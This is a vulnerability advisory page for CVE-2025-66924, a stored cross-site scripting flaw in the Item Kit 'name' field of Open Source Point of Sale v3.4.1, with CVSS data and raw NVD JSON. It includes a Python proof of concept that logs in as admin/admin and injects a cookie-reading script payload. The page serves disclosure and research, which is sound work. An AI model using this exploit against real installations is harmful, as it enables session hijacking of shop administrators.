Security Vulnerability Report
中文
CVE-2025-66924 CVSS 6.1 MEDIUM

CVE-2025-66924

Published: 2025-12-17 18:15:49
Last Modified: 2025-12-18 19:52:51

Description

A Cross-site scripting (XSS) vulnerability in Create/Update Item Kit(s) in Open Source Point of Sale v3.4.1 allows remote attackers to inject arbitrary web script or HTML via the "name" parameter.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:opensourcepos:open_source_point_of_sale:3.4.1:*:*:*:*:*:*:* - VULNERABLE
Open Source Point of Sale v3.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-66924 XSS PoC for Open Source Point of Sale v3.4.1 # Target: Open Source Point of Sale # Module: Create/Update Item Kit(s) # Parameter: name TARGET_URL = "http://target.com/opensourcepos" USERNAME = "admin" PASSWORD = "admin" session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{TARGET_URL}/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) # Check if login successful if "login" not in response.url.lower(): print("[+] Login successful") else: print("[-] Login failed") exit() # Step 2: Create malicious Item Kit with XSS payload in name parameter create_kit_url = f"{TARGET_URL}/item_kits/save" xss_payload = '<script>alert(document.cookie)</script>' kit_data = { "name": xss_payload, "description": "Test Kit", "category_id": 1, "unit_price": 10.00 } response = session.post(create_kit_url, data=kit_data) if response.status_code == 200: print(f"[+] XSS payload submitted: {xss_payload}") print("[+] Payload will execute when admin views Item Kit list") else: print("[-] Failed to submit payload") # Alternative: Update existing Item Kit update_url = f"{TARGET_URL}/item_kits/save/1" response = session.post(update_url, data=kit_data) print("[+] Item Kit updated with XSS payload")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66924", "sourceIdentifier": "[email protected]", "published": "2025-12-17T18:15:49.100", "lastModified": "2025-12-18T19:52:51.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Cross-site scripting (XSS) vulnerability in Create/Update Item Kit(s) in Open Source Point of Sale v3.4.1 allows remote attackers to inject arbitrary web script or HTML via the \"name\" parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensourcepos:open_source_point_of_sale:3.4.1:*:*:*:*:*:*:*", "matchCriteriaId": "8EC6C4DB-C7B4-46A5-9479-851918C55014"}]}]}], "references": [{"url": "https://github.com/omkaryepre/vulnerability-research/blob/main/CVE-2025-66924/readme.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/opensourcepos/opensourcepos", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/omkaryepre/vulnerability-research/blob/main/CVE-2025-66924/readme.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}